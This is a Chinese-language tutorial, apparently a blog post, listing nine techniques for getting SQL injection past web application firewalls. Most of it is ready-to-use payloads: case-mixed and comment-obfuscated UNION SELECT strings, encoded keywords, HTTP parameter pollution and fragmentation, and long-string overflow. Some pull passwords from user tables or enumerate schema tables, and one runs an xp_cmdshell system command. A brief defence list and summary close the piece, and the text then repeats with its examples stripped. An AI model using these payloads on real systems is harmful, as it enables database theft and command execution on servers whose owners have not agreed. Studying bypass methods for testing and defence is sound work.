SQL注入 | 9种绕过Web应用程序防火墙的方式
字数 1231 2025-08-18 11:37:07

WAF绕过技术详解:9种SQL注入绕过方法

1. WAF基础概念

Web应用程序防火墙(WAF)是一种专门用于过滤、监控和阻止进出Web应用程序HTTP流量的安全设备。与常规防火墙不同,WAF能够针对特定Web应用程序内容进行深度检测。

WAF工作原理

  • 协议异常检测:拒绝不符合HTTP标准的请求
  • 增强的输入验证:同时进行代理端和服务器端验证
  • 白名单和黑名单机制
  • 基于规则和基于异常的保护
    • 基于规则:依赖预定义的黑名单
    • 基于异常:更灵活,基于行为分析
  • 状态管理:关注会话保护
  • 其他功能:Cookie保护、反入侵规避技术、响应监控和信息披露保护

2. WAF绕过技术详解

2.1 大小写变异

原理:利用WAF可能存在的区分大小写检测漏洞

示例

http://target.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

特点

  • 将SQL关键字随机大小写混合
  • 适用于使用简单字符串匹配的WAF

2.2 关键字替换/分割

原理:在关键字中插入会被WAF过滤的字符

示例

http://target.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

变体

  • 将SELECT变为SEL<ECT
  • 插入的字符被过滤后,原始关键字仍能执行

2.3 编码技术

URL编码

page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

Hex编码

target.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

Unicode编码

?id=10%D6‘%20AND%201=2%23
SELECT 'Ä'='A'; #1

2.4 注释注入

原理:利用注释混淆WAF的检测

示例

index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#
index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4

2.5 等价函数替换

常用替换

  • hex(), bin()ascii()
  • sleep()benchmark()
  • concat_ws()group_concat()
  • mid(), substr()substring()
  • @@useruser()
  • @@datadirdatadir()

字符串比较技巧

substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

2.6 特殊符号利用

示例

select `version()`; select+id-1+1.from users;
select@^1.from users;
Mysql function() as xxx
'se'+'lec'+'t'
S%E%L%E%C%T 1
1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell "net user"')
'or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)

2.7 HTTP参数控制

HTTP参数污染(HPP)

/?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

不同Web服务器处理方式:

  • PHP/Apache:只解析最后一个参数
  • JSP/Tomcat:只解析第一个参数
  • ASP.NET:合并参数值

HTTP参数分段(HPF)

/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
等效于:
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—

HTTP参数污染(HPC)

利用RFC2396定义的保留字符:

  • Unreserved: a-z, A-Z, 0-9
  • Reserved: ;/?:@&=+$,
  • Unwise: {}|^[]`<>"

2.8 缓冲区溢出

原理:利用WAF处理超长字符串时的漏洞

示例

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

2.9 组合绕过技术

原理:结合多种技术提高绕过成功率

示例

target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A" uNIOn*/+/*!SeLECt*/+1,2,3,4…
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()–
?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--

3. 防御建议

  1. 多层防御:不要仅依赖WAF,应结合其他安全措施
  2. 规则更新:定期更新WAF规则库
  3. 输入验证:实施严格的输入验证和输出编码
  4. 最小权限原则:数据库账户使用最小必要权限
  5. 参数化查询:使用预处理语句而非动态SQL拼接
  6. 异常监控:监控WAF日志和异常行为
  7. 压力测试:对WAF进行缓冲区溢出等极限测试

4. 总结

WAF绕过技术不断发展,攻击者常组合使用多种技术提高成功率。防御方需要采取深度防御策略,结合WAF、安全编码实践和系统加固等多层次防护措施。

WAF绕过技术详解:9种SQL注入绕过方法 1. WAF基础概念 Web应用程序防火墙(WAF)是一种专门用于过滤、监控和阻止进出Web应用程序HTTP流量的安全设备。与常规防火墙不同,WAF能够针对特定Web应用程序内容进行深度检测。 WAF工作原理 协议异常检测 :拒绝不符合HTTP标准的请求 增强的输入验证 :同时进行代理端和服务器端验证 白名单和黑名单机制 基于规则和基于异常的保护 : 基于规则:依赖预定义的黑名单 基于异常:更灵活,基于行为分析 状态管理 :关注会话保护 其他功能 :Cookie保护、反入侵规避技术、响应监控和信息披露保护 2. WAF绕过技术详解 2.1 大小写变异 原理 :利用WAF可能存在的区分大小写检测漏洞 示例 : 特点 : 将SQL关键字随机大小写混合 适用于使用简单字符串匹配的WAF 2.2 关键字替换/分割 原理 :在关键字中插入会被WAF过滤的字符 示例 : 变体 : 将SELECT变为SEL <ECT 插入的字符被过滤后,原始关键字仍能执行 2.3 编码技术 URL编码 Hex编码 Unicode编码 2.4 注释注入 原理 :利用注释混淆WAF的检测 示例 : 2.5 等价函数替换 常用替换 : hex() , bin() → ascii() sleep() → benchmark() concat_ws() → group_concat() mid() , substr() → substring() @@user → user() @@datadir → datadir() 字符串比较技巧 : 2.6 特殊符号利用 示例 : 2.7 HTTP参数控制 HTTP参数污染(HPP) 不同Web服务器处理方式: PHP/Apache:只解析最后一个参数 JSP/Tomcat:只解析第一个参数 ASP.NET:合并参数值 HTTP参数分段(HPF) HTTP参数污染(HPC) 利用RFC2396定义的保留字符: Unreserved: a-z, A-Z, 0-9 Reserved: ;/?:@&=+$, Unwise: {}|\^[] ` <>" 2.8 缓冲区溢出 原理 :利用WAF处理超长字符串时的漏洞 示例 : 2.9 组合绕过技术 原理 :结合多种技术提高绕过成功率 示例 : 3. 防御建议 多层防御 :不要仅依赖WAF,应结合其他安全措施 规则更新 :定期更新WAF规则库 输入验证 :实施严格的输入验证和输出编码 最小权限原则 :数据库账户使用最小必要权限 参数化查询 :使用预处理语句而非动态SQL拼接 异常监控 :监控WAF日志和异常行为 压力测试 :对WAF进行缓冲区溢出等极限测试 4. 总结 WAF绕过技术不断发展,攻击者常组合使用多种技术提高成功率。防御方需要采取深度防御策略,结合WAF、安全编码实践和系统加固等多层次防护措施。